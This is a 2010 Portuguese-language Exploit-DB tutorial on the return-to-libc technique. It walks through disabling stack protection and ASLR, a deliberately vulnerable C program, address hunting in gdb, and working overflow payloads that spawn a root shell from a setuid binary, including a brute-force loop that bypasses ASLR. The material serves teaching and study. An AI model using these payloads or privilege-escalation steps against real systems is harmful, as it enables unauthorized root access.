[Portuguese] Retornando para LibC / Ret2libc

EDB-ID:

13640

CVE:

N/A

Author:

m0nad

Type:

papers

Platform:

Multiple

Published:

2010-03-12

Retornando para LibC / Ret2libc

----[ Tema    : Retornando para LibC / Ret2libc ]
----[ Autor   : m0nad [at] email.com            ]
----[ Data    : 12/3/2010                       ]
----[ Versão  : 1.0                             ]


 --Índice

- Apresentação
- Pré-requisitos
- Introdução
- Desabilitando Proteções
- O Código Vulnerável
- Utilizando o GDB
- Utilizando a função getenv
- A Exploração
- Conclusão
- Referencias
- Agradecimentos



- Apresentação
  
  Eu sou m0nad, do grupo BugSec ( http://code.google.com/p/bugsec/ ) e integrante do botecounix 
( www.botecounix.com.br ), visitem la que tem muita coisa boa.
  Estou aqui para demonstrar a técnica clássica de return to libc , ou retornar para libc, existem 
outras maneiras de se executar esta técnica, mas aqui só abrangeremos o básico.


- Pré-requisitos
 
  Bem, espero que você saiba programar em C, e já tenha se aventurado com os buffer overflows, 
um conhecimento de assembly e de arquitetura/organização de computadores básico ajudaria, 
precisamos também de um Linux 32bits, assim como o gcc e gdb. 


- Introdução
  
  A técnica tradicional de exploração de stack-based overflows, consiste em executarmos o 
shellcode que colocamos na pilha, mas se a pilha não for executável não adiantaria nada 
pularmos para o shellcode que esta la, pois o este não seria executado, isso é chamado 
de NX bit(Non eXecute) ( http://en.wikipedia.org/wiki/NX_bit ), bem com ret2libc é possível 
a exploração, pois não utilizamos shellcode, outra vantagem, é quando o buffer é muito 
pequeno para colocarmos o nosso shellcode.
  Ret2libc, também chamado de Arc Injection é um método de se passar por essa proteção, é 
de certa forma parecida com outros stack-based overflows, vamos setar o endereço de retorno, 
para onde nos quisermos.
  A ideia da técnica e substituir o endereço de retorno para a biblioteca compartilhada libc,
geralmente para função 'system()' ( que só precisa de um argumento ) para executar um comando
arbitrário.
  Mas primeiro vou falar de 2 questões, a maioria usa distribuições Linux modernas que vem com 
outros tipos de proteção, estou falando do SSP ( smash-the-stack-protection ) mas também 
chamado de ProPolice, e com ASLR (Address Space Layout Randomization), precisamos desabilitar 
essas proteções para ter sucesso na técnica, mas, no final também ensino a burlar uma delas ;).

 
- Desabilitando Proteções
 
  Para desabilitar o SSP, quando for compilar seu código vulnerável, basta acrescentar a tag
-fno-stack-protector.

ex:
$gcc vuln.c -o vuln -fno-stack-protector

  Para desabilitar o ASLR, basta digitar, como root:

# echo 0 > /proc/sys/kernel/randomize_va_space


- O Código Vulnerável

  Pronto, agora já estamos prontos para começarmos, compile o código vulnerável abaixo, 
como eu mostrei acima.

------------code---------------

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char **argv)
{
   char buffer[4];
   if (argc != 2) {
     puts ("sem argumentos");
     exit (1);
   }

   strcpy(buffer, argv[1]);   
}

------------code---------------

Vamos 'verificar' se ele esta vulnerável.

$ ./vuln `perl -e 'print "A" x 16'`
Falha de segmentação


- Utilizando o GDB

  Percebemos a falha, vamos olhar no gdb o que esta acontecendo.

$ gdb vuln
GNU gdb (GDB) ...
...
(gdb) r `perl -e 'print "A" x 16'`
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16'`

Program received signal SIGSEGV, Segmentation fault.
0xb7eb7286 in _setjmp () from /lib/tls/i686/cmov/libc.so.6

  Hmm, parece que ainda não sobrescrevemos o eip, apesar do erro, devo apenas ter corrompido 
apenas o ebp, vamos ver.

(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x414140fd	1094795517
ebx            0xb7fcdff4	-1208164364
esp            0xbffff44c	0xbffff44c
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x0	0
eip            0xb7eb7286	0xb7eb7286 <_setjmp+6>
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51


  Veja, ebp            0x41414141, o ebp foi totalmente sobrescrito, mas o eip parece estar intacto
vamos colocar mais 4 bytes, e ver se pegamos o eip.

(gdb) r `perl -e 'print "A" x 16 . "BBBB" '` 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16 . "BBBB" '`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 

  Perfeito, o eip todo sobrescrito por letras "B's" , agora que vem a técnica do ret2libc, vamos 
ver qual o endereço da função system, para colocarmos no lugar do retaddr.

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln ]

Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x80483a0 <system@plt>


  Outra maneira de se descobrir, e adicionando essa linha ao código
--
   printf ("system() = %p\n", system);
--
$ ./vuln asdf
system() = 0x80483a0

  Pronto, já temos o endereço, mas e os argumentos, como vamos coloca-los? bem meu amigo, como 
você  já deve saber, a pilha alem de guardar o endereço de retorno de uma função, também guarda 
parâmetros para funções, alem de outras coisas como as próprias variáveis, que estamos 
transbordando aqui, quando uma função vai ser chamada, algo que no C seria algo como 
system("/bin/sh"); por exemplo, para explanar a nossa shell, no assembly, ficaria algo como 
abaixo.

push $endereço de /bin/sh
call $endereco de system

  Quando a função call, é chamada, ela executa um push, ou seja, coloca na pilha, o endereço da 
próxima instrução (endereço contido no program counter ou contador de instrução) e da um jump 
para o código da função, no caso da função system().

  Bem, dito isso, sabemos que acima do endereço da função system, que vamos colocar no lugar do 
endereço de retorno, colocaremos um endereço de retorno para a função system, podendo ser qualquer 
coisa com 4 bytes, pois ele só vai executar depois que sairmos de nossa shell, no caso vamos usar 
o endereço da syscall exit, e depois o endereço da string /bin/sh, ficando assim:

[ lixo ] [ end. system ] [ end. exit ] [ end. /bin/sh ]

  Para capturarmos o endereço de exit(mas caso você não se importe que o programa crashe, depois 
que você sair da shell, pode colocar 4 bytes quaisquer), vamos fazer da mesma maneira que a system.
.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) p exit
$1 = {<text variable, no debug info>} 0x80483f0 <exit@plt>


 Com a string /bin/sh, vamos exporta-la na shell, e ver 2 maneiras de se achar o endereço da mesma.

$ export TEST="/bin/sh"

  Mas acontece, que assim precisamos acertar o endereço exato. do começo da string e muitas vezes, 
ele "anda" um pouco, ou seja ele muda um pouco, então é mais fácil se fizermos algo como abaixo.

$ export TEST="                                                   /bin/sh"


  Para pegarmos o endereço usando o gdb.

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/m0nad/vuln 

Breakpoint 1, 0x080484b7 in main ()
(gdb) x/2000s $esp


  Vão aparecer muitos endereços, com muita coisa, você dever ir dando <enter>, e geralmente no 
final, estará assim:

0xbffffdff:	 "TEST=", ' ' <repete 51 vezes>, "/bin/sh"

(gdb) x/s 0xbffffdff
0xbffffdff:	 "TEST=", ' ' <repete 51 vezes>, "/bin/sh"
(gdb) x/s 0xbffffdff+10
0xbffffe09:	 ' ' <repete 46 vezes>, "/bin/sh"

  Nesse caso, usaremos o endereço 0xbffffe09.

- Utilizando a função getenv

  A outra maneira de se achar o endereço e usar o getenv() do C, veja o código exemplo

------------code---------------

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char **argv)
{
  char *path;
  if (argc < 2 ) {
    puts("Sem argumentos");
    exit(1);
  }
  path = getenv (argv[1]);
  if (path!=NULL)
    printf ("O endereço e': %p\Seu conteúdo e': %s\n", path, path);
  return 0;
}

------------code---------------

$ ./getenv  TEST
O endereço e': 0xbffffdf5
Seu conteúdo e':                                                    /bin/sh


  Pronto, já temos os endereços que precisamos.

system 0x80483a0
exit 0x80483f0
/bin/sh  0xbffffdf5


- A Exploração

  Vamos a exploração, primeiro colocamos como suid root, para ficar mais legal :) como root faça:

# chown root vuln
# chmod +s vuln

  Agora vamos exploita-lo.

$ ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xf5\xfd\xff\xbf"'`
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)
#

  Sucesso! pegamos o root :) , perceba que colocamos os endereços em ordem reversa por causa
do little endian, como na exploração de overflows normal.


- Burlando ASLR

Vamos ativar o ASLR agora
# echo 2 > /proc/sys/kernel/randomize_va_space

  O endereço da função system não muda, mas a variável exportada muda, veja:
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfaeddff
Seu conteúdo e':                                                    /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfe78dff
Seu conteúdo e':                                                    /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfdc0dff
Seu conteúdo e':                                                    /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfb6bdff
Seu conteúdo e':                                                    /bin/sh

  Mas percebemos que o começo do endereço (bf) e o final (dff) isso deixa 3 nibbles para serem 
aleatórios, bem o que vamos fazer, é um bruteforce, vamos tentar um dos endereços muitas vezes, 
até que caia no nosso endereço, para fazer isso eh muito simples, vou utilizar o endereço 
0xbfb6bdff como exemplo:

$ while true;do ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xff\xbd\xf6\xbf"'`;done
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)

  Sucesso! o looping infinito faz com que tente todas as possibilidades dos 3 nibbles voltando 
alguma hora, para o nosso endereço.
  Essa técnica, pode demorar um pouco, mas funciona, o problema dela é na exploração remota, pois 
na primeira tentativa o daemon seria derrubado, mas na exploração local funciona bem.


- Conclusão

  Mesmo com NX-bit, um buffer pequeno, ainda sim é possível explorar o código com este tipo de técnica.
Até mesmo com ASLR, conseguimos pegar o root, apesar de dificultar a exploração remota.
Acredito que o melhor jeito é ainda escrever um bom código.


- Referencias

Return-to-libc attack - Wiki
http://en.wikipedia.org/wiki/Return-to-libc_attack

Arc injection / Return to libc
http://www.acm.uiuc.edu/sigmil/talks/general_exploitation/arc_injection/arc_injection.html

Bypassing non-executable-stack during exploitation using return-to-libc
http://www.exploit-db.com/papers/31


- Agradecimentos

  Agradeço aos meus amigos do bugsec e do botecounix, Cooler_, _MLK_ e I4K.
  Agradeço ao IP_FIX, que está sempre me ajudando, e ao 0ut0fbound que conheci a pouco 
e tem me ajudado bastante.